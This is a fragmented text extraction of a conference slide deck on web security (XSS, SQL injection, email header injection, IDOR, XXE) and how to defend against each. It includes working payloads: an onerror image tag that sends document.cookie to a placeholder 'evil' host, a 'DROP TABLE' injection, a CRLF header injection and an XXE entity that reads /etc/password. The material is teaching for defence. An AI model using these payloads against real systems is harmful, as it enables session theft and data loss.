powerpoint presentationpowerpoint presentation author ayesh karunaratne created date 11/17/2018...
TRANSCRIPT
@Ayeshlive
https://ayesh.me
Ayesh
Ayesh Karunaratne
Freelance Software Developer
Ayesh
Kandy, Sri Lanka - Everywhere
<form><input name="query" /><input type="submit" />
</form>
var query = req.params.query
var query = req.params.query;document.write('Search results for "' + query + '"');
var query = req.params.query;document.write('Search results for "' + query + '"');
var query = req.params.query;document.write('Search results for "' + query + '"');
var query = req.params.query;document.write('Search results for "' + query + '"');
var query = req.params.query;document.write('Search results for "' + query + '"');
var query = req.params.query;document.write('Search results for "' + query + '"');
var query = req.params.query;document.write('Search results for "' + query + '"');
<script>document.cookie</script>
var query = req.params.query;document.write('Search results for "' + query + '"');
this.src='http://evil/?c='+document.cookie
var query = req.params.query;document.write('Search results for "' + query + '"');
this.src='http://evil/?c='+document.cookie
var query = req.params.query;document.write('Search results for "' + query + '"');
this.src='http://evil/?c='+document.cookie
var query = req.params.query;document.write('Search results for "' + query + '"');
https://site.noob/?query=Ayesh+%3Cimg+src%3Dx+onerror%3Dthis.src%3D%27http%3A%2F%2Fevil%2F%3Fc%3D%27%2Bdocument.cookie%3E
<form><input name="query" /><input type="submit" />
</form>
$query = $_GET['query'];
<?phpquery("SELECT *FROM posts WHEREtitle = '$query'
");?>
<?phpquery("SELECT *FROM posts WHEREtitle = '$query'
");?>
SELECT *FROM posts WHEREtitle = ' '
<?phpquery("SELECT *FROM posts WHEREtitle = '$query'
");?>
SELECT *FROM posts WHEREtitle = ' '
<?phpquery("SELECT *FROM posts WHEREtitle = '$query'
");?>
SELECT *FROM posts WHERE
title = 'Ayesh' s talk is great
<?phpquery("SELECT *FROM posts WHEREtitle = '$query'
");?>
SELECT *FROM posts WHEREtitle = 'Ayesh'; DROP TABLE posts
SELECT *FROM posts WHEREtitle = 'Ayesh'; DROP TABLE posts
<form><input name="query" /><input type="submit" />
</form>
$query = $_GET['query'];
$query = $_GET['query'];
From: Site <[email protected]>To: [email protected] Subject: Search alert for $query
$query = $_GET['query'];
From: Site <[email protected]>
Subject: Search alert for $query
From: Site [email protected]: [email protected]: Search alert for how did i accidentally build a shelf
\r\n
$query = $_GET['query'];
From: Site <[email protected]>
Subject: Search alert for $query
From: Site [email protected]: [email protected]: Search alert for how did i accidentally build a shelfReply-To: [email protected]
•
•
•
•
•
•
•
•
•
•
•
(ノ°Д°)ノ︵ ┻━┻
Example-example
How to <script>alert(‘xss’);</script> How to alert(‘xss’);
my-awesome-song-*****.mp3 my-awesome-song-_____.mp3
How to <script>alert(‘xss’);</script> How to
my-class>your-class my-class_your-class
Ayesh’s talk is <script>alert(“Oops!”)</script>
Ayesh’s talk is <script>alert(“Oops!”)</script>
Ayesh’s talk is < script > alert(“Oops!”) < /script>
<?phpquery("SELECT *FROM posts WHEREtitle = %title
", $query);?>
<?phpquery("SELECT *FROM posts WHEREtitle = %title
", $query);?>
SELECT *FROM posts WHERE
title = 'Ayesh\'; DROP TABLE posts'
filter_var('[email protected]', FILTER_VALIDATE_EMAIL);
is_email('[email protected]');
valid_email_address('[email protected]');
<field name="email" type="text" validate="email" />
var validator = require('validator’);validator.isEmail('[email protected]');
filter_var(); var validator = require('validator’);
filter_var(‘###[email protected]', FILTER_SANITIZE_EMAIL);
sanitize_email(‘ [email protected] ');
filter_var('test <script>alert("xss");</script>', FILTER_SANITIZE_FULL_SPECIAL_CHARS);htmlspecialchars('test <script>alert("xss");</script>', ENT_QUOTES, 'UTF-8');
esc_html('test <script>alert("xss");</script>’);
check_plain('test <script>alert("xss");</script>');
<field name="email" type="text" validate="email" />
var validator = require('validator’);validator.isEmail('[email protected]');
$post = $wpdb->query($wpdb->prepare("SELECT * FROM posts WHERE title = '%s'",$query
));
$query = $connection->query(“SELECT * FROM posts WHERE title = :title", [':title' =>$query]);
$stmt = $pdo->prepare("SELECT * FROM posts WHERE title = :title");$stmt->execute(['title' => $query]);$post = $stmt->fetch();
SELECT *FROM posts WHEREtitle = 'Ayesh'; DROP TABLE posts
var query = req.params.query;document.write('Search results for "' + query + '"');
<script>document.cookie</script>
•
•
https://site.noob/user/796148
https://site.noob/user/796148/edit
https://site.noob/user/23453
https://site.noob/user/23453/edit
•
•
•
•
•
•
•
•
•
•
{name: "Tobias",age: "26",}
array('name' => 'Tobias’,'age' => 26
);
{name: "Tobias", age: 26}
{name: “Nadine",age: "26",}
array('name' => ‘Nadine’,'age' => 26
);
{name: “Nadine", age: 26}
•
•
•
•
<?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [ <!ELEMENT foo ANY ><!ENTITY xxe SYSTEM "file:///etc/password" >]><foo>&xxe;</foo>
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
• composer update
•
•
•
• composer update
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
PowerPoint PresentationPowerPoint Presentation Author: Dawn Moore Created Date: 6/24/2016 2:02:47 PM
PowerPoint PresentationPowerPoint Presentation Author: Erck, Ryan Created Date: 5/19/2016 8:57:30 AM